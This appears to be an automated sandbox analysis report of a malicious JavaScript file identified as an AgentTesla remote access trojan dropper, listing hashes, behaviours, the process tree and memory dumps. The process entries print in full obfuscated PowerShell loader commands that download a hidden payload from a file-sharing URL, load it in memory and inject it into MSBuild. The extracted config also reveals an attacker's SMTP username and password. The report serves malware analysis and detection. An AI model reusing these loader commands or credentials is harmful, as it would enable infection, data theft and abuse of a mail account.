Analysis

  • max time kernel
    121s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 23:08

General

  • Target

    Enquiry-Dubai.js

  • Size

    239KB

  • MD5

    05f7c478f947dee826a7163e024ebf84

  • SHA1

    bfdee493d4b9e4b218bce16128163b66b36abb4b

  • SHA256

    e3061de8d38aee7575d7a5c5b169563af5d3b61568ca9f65d49dbadc20e6f0c9

  • SHA512

    6b0a15b1b7d3b113062b959007411bb1c7e09f00dd00df588add8be1d828aadfa224f931fcb08ed72525e42c0c46689a4e497fc55b7a1de7ebeae35b78f3fa7d

  • SSDEEP

    6144:4HH6v3suAkikHH6v3sY7HH6v3suAkikHH6v3sy:yH6vLAqH6vvH6vLAqH6vX

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.detarcoopmedical.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    To$zL%?nhDHN

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Enquiry-Dubai.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAYgB0AG8AaQBtAGEAZwBlAFUAcgBsACAAPQAgAHAAWABBAGgAdAB0AHAAcwA6AC8ALwAxADAAMQA3AC4AZgBpAGwAZQBtAGEAaQBsAC4AYwBvAG0ALwBhAHAAaQAvAGYAaQBsAGUALwBnAGUAdAA/AGYAaQBsAGUAawBlAHkAPQAyAEEAYQBfAGIAVwBvADkAUgBlAHUANAA1AHQANwBCAFUAMQBrAFYAZwBzAGQAOQBwAFQAOQBwAGcAUwBTAGwAdgBTAHQARwByAG4AVABJAEMAZgBGAGgAbQBUAEsAagAzAEwAQwA2AFMAUQB0AEkAYwBPAGMAXwBUADMANQB3ACYAcABrAF8AdgBpAGQAPQBmAGQANABmADYAMQA0AGIAYgAyADAAOQBjADYAMgBjADEANwAzADAAOQA0ADUAMQA3ADYAYQAwADkAMAA0AGYAIABwAFgAQQA7AGIAdABvAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwBiAHQAbwBpAG0AJwArACcAYQBnAGUAQgB5AHQAZQBzACAAPQAgAGIAdABvAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnACsAJwBiAHQAbwBpAG0AYQBnAGUAVQByAGwAKQA7AGIAdABvAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgAnACsAJwBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAGIAdABvAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AGIAdABvAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAHAAWABBADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwArACcAcABYAEEAOwBiAHQAbwBlAG4AZABGAGwAYQBnACAAPQAgAHAAWABBADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBwAFgAQQA7AGIAdABvAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAYgB0AG8AaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAYgB0AG8AcwB0AGEAcgB0AEYAbABhAGcAKQA7AGIAdAAnACsAJwBvAGUAbgBkAEkAbgBkAGUAeAAgAD0AIABiAHQAbwBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKABiAHQAbwBlAG4AZABGAGwAYQBnACkAOwBiAHQAbwBzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAnACsAJwAgAGIAdABvAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAYgB0AG8AcwB0AGEAcgB0AEkAbgBkAGUAeAA7AGIAdABvAHMAdABhACcAKwAnAHIAdABJAG4AZABlAHgAIAArAD0AIABiAHQAbwBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAYgB0AG8AYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAYgB0AG8AZQBuAGQASQBuAGQAZQB4ACAALQAgAGIAdABvAHMAdABhAHIAdABJAG4AZABlAHgAOwBiAHQAbwBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgAGIAdABvAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKABiAHQAbwBzAHQAJwArACcAYQByAHQASQBuAGQAZQB4ACwAIABiAHQAbwBiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAYgB0AG8AYgBhAHMAZQAnACsAJwA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAJwArACcAbgAgACgAYgB0AG8AYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAFQAbwBDAGgAYQByAEEAcgAnACsAJwByAGEAeQAoACkAJwArACcAIABxAHAAbwAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABiAHQAbwBfACAAfQApAFsALQAxAC4ALgAtACgAYgB0AG8AYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAEwAZQBuAGcAdABoACkAXQA7AGIAdABvAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwAnACsAJwB0AHIAaQBuAGcAKABiACcAKwAnAHQAbwBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAKQA7AGIAdABvAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAJwArACcAdABpAG8AbgAuAEEAcwBzAGUAbQAnACsAJwBiAGwAeQBdADoAOgBMAG8AYQBkACgAYgB0AG8AYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AGIAdABvACcAKwAnAHYAYQBpACcAKwAnAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABwAFgAQQBWAEEASQBwAFgAQQApADsAYgB0AG8AdgBhAGkATQBlAHQAaABvAGQALgBJAG4AdgBvACcAKwAnAGsAZQAoAGIAdABvAG4AdQBsAGwALAAgAEAAJwArACcAKABwAFgAQQB0AHgAdAAuADAAMgBlAHMAbgBlAGMAaQBsAC8AZQBsAGkAZgAvAHoAaQBiAC4AeABpAG0AZQAnACsAJwBoAGMALwAvADoAcwBwAHQAdABoAHAAWABBACwAIABwAFgAQQBkAGUAcwBhAHQAaQB2AGEAZAAnACsAJwBvAHAAWABBACwAIABwAFgAQQBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWABBACwAIABwAFgAQQBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWABBACwAIABwAFgAQQBNAFMAQgB1AGkAbABkAHAAWABBACwAJwArACcAIABwAFgAQQBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWABBACwAIABwAFgAQQBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWABBACwAcABYAEEAZABlACcAKwAnAHMAYQB0AGkAdgBhAGQAbwBwAFgAQQAsAHAAWABBAGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAEEALABwAFgAQQBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWABBACwAcAAnACsAJwBYAEEAZABlAHMAYQB0AGkAdgBhAGQAbwBwACcAKwAnAFgAQQAsAHAAWABBAGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAEEALABwAFgAQQAxAHAAWABBACwAcABYAEEAZABlAHMAYQB0AGkAdgBhAGQAbwBwAFgAQQApACcAKwAnACkAOwAnACkALQBDAFIARQBwAGwAYQBjAGUAIAAgACcAcQBwAG8AJwAsAFsAYwBoAGEAcgBdADEAMgA0ACAALQBSAEUAcABMAGEAYwBFACgAWwBjAGgAYQByAF0AOQA4ACsAWwBjAGgAYQByAF0AMQAxADYAKwBbAGMAaABhAHIAXQAxADEAMQApACwAWwBjAGgAYQByAF0AMwA2ACAALQBDAFIARQBwAGwAYQBjAGUAIAAnAHAAWABBACcALABbAGMAaABhAHIAXQAzADkAKQAgAHwAJgAoACAAJABzAEgARQBsAEwAaQBEAFsAMQBdACsAJABzAEgARQBsAGwASQBEAFsAMQAzAF0AKwAnAHgAJwApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('btoimageUrl = pXAhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f pXA;btowebClient = New-Object System.Net.WebClient;btoim'+'ageBytes = btowebClient.DownloadData('+'btoimageUrl);btoimageText = [System.Text.Encodin'+'g]::UTF8.GetString(btoimageBytes);btostartFlag = pXA<<BASE64_START>>'+'pXA;btoendFlag = pXA<<BASE64_END>>pXA;btostartIndex = btoimageText.IndexOf(btostartFlag);bt'+'oendIndex = btoimageText.IndexOf(btoendFlag);btostartIndex -ge 0 -and'+' btoendIndex -gt btostartIndex;btosta'+'rtIndex += btostartFlag.Length;btobase64Length = btoendIndex - btostartIndex;btobase64Command = btoimageText.Substring(btost'+'artIndex, btobase64Length);btobase'+'64Reversed = -joi'+'n (btobase64Command.ToCharAr'+'ray()'+' qpo ForEach-Object { bto_ })[-1..-(btobase64Command.Length)];btocommandBytes = [System.Convert]::FromBase64S'+'tring(b'+'tobase64Reversed);btoloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::Load(btocommandBytes);bto'+'vai'+'Method = [dnlib.IO.Home].GetMethod(pXAVAIpXA);btovaiMethod.Invo'+'ke(btonull, @'+'(pXAtxt.02esnecil/elif/zib.xime'+'hc//:sptthpXA, pXAdesativad'+'opXA, pXAdesativadopXA, pXAdesativadopXA, pXAMSBuildpXA,'+' pXAdesativadopXA, pXAdesativadopXA,pXAde'+'sativadopXA,pXAdesativadopXA,pXAdesativadopXA,p'+'XAdesativadop'+'XA,pXAdesativadopXA,pXA1pXA,pXAdesativadopXA)'+');')-CREplace 'qpo',[char]124 -REpLacE([char]98+[char]116+[char]111),[char]36 -CREplace 'pXA',[char]39) |&( $sHElLiD[1]+$sHEllID[13]+'x')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3680
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
            PID:5080
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1656

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      50a8221b93fbd2628ac460dd408a9fc1

      SHA1

      7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

      SHA256

      46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

      SHA512

      27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iudiiyld.dz0.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1656-32-0x0000000005EF0000-0x0000000006494000-memory.dmp

      Filesize

      5.6MB

    • memory/1656-33-0x00000000057E0000-0x0000000005846000-memory.dmp

      Filesize

      408KB

    • memory/1656-37-0x0000000006C60000-0x0000000006C6A000-memory.dmp

      Filesize

      40KB

    • memory/1656-36-0x0000000006C90000-0x0000000006D22000-memory.dmp

      Filesize

      584KB

    • memory/1656-35-0x0000000006A50000-0x0000000006AEC000-memory.dmp

      Filesize

      624KB

    • memory/1656-25-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/1656-34-0x0000000006960000-0x00000000069B0000-memory.dmp

      Filesize

      320KB

    • memory/2748-1-0x000002DFBA0D0000-0x000002DFBA0F2000-memory.dmp

      Filesize

      136KB

    • memory/2748-31-0x00007FFB34540000-0x00007FFB35001000-memory.dmp

      Filesize

      10.8MB

    • memory/2748-0-0x00007FFB34543000-0x00007FFB34545000-memory.dmp

      Filesize

      8KB

    • memory/2748-12-0x00007FFB34540000-0x00007FFB35001000-memory.dmp

      Filesize

      10.8MB

    • memory/2748-11-0x00007FFB34540000-0x00007FFB35001000-memory.dmp

      Filesize

      10.8MB

    • memory/2748-23-0x00007FFB34540000-0x00007FFB35001000-memory.dmp

      Filesize

      10.8MB

    • memory/2748-22-0x00007FFB34543000-0x00007FFB34545000-memory.dmp

      Filesize

      8KB

    • memory/3680-24-0x0000021078BD0000-0x0000021078D28000-memory.dmp

      Filesize

      1.3MB